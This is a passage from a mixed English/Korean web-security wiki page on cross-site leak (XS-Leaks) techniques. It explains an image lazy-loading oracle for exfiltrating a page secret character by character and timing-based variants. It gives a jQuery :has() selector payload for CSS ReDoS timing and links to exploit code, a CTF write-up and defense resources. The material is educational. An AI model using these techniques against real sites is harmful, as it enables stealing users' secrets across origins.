What this text will do is to make the bot access any text in the page that contains the text SECR. As that text is the secret and it's just below the image, the image will only load if the guessed secret is correct. So there you have your oracle to exfiltrate the secret char by char.

Some code example to exploit this: https://gist.github.com/jorgectf/993d02bdadb5313f48cf1dc92a7af87e

이미지 지연 로딩 시간 기반

If it's not possible to load an external image that could indicate the attacker that the image was loaded, another option would be to try to guess the char several times and measure that. If the image is loaded all the requests would take longer that if the image isn't loaded. This is what was used in the solution of this writeup sumarized here:

Event Loop Blocking + Lazy images

ReDoS

Regular expression Denial of Service - ReDoS

CSS ReDoS

If jQuery(location.hash) is used, it's possible to find out via timing if some HTML content exists, this is because if the selector main[id='site-main'] doesn't match it doesn't need to check the rest of the selectors:

$("*:has(*:has(*:has(*)) *:has(*:has(*:has(*))) *:has(*:has(*:has(*)))) main[id='site-main']")

CSS Injection

CSS Injection

Defenses

https://xsinator.com/paper.pdf와 위키의 각 섹션 https://xsleaks.dev/에서 권장되는 완화 조치가 있습니다. 이러한 기술로부터 보호하는 방법에 대한 더 많은 정보를 보려면 그곳을 확인하세요.

References

• https://xsinator.com/paper.pdf

• https://xsleaks.dev/

• https://github.com/xsleaks/xsleaks

• https://xsinator.com/

• https://github.com/ka0labs/ctf-writeups/tree/master/2019/nn9ed/x-oracle

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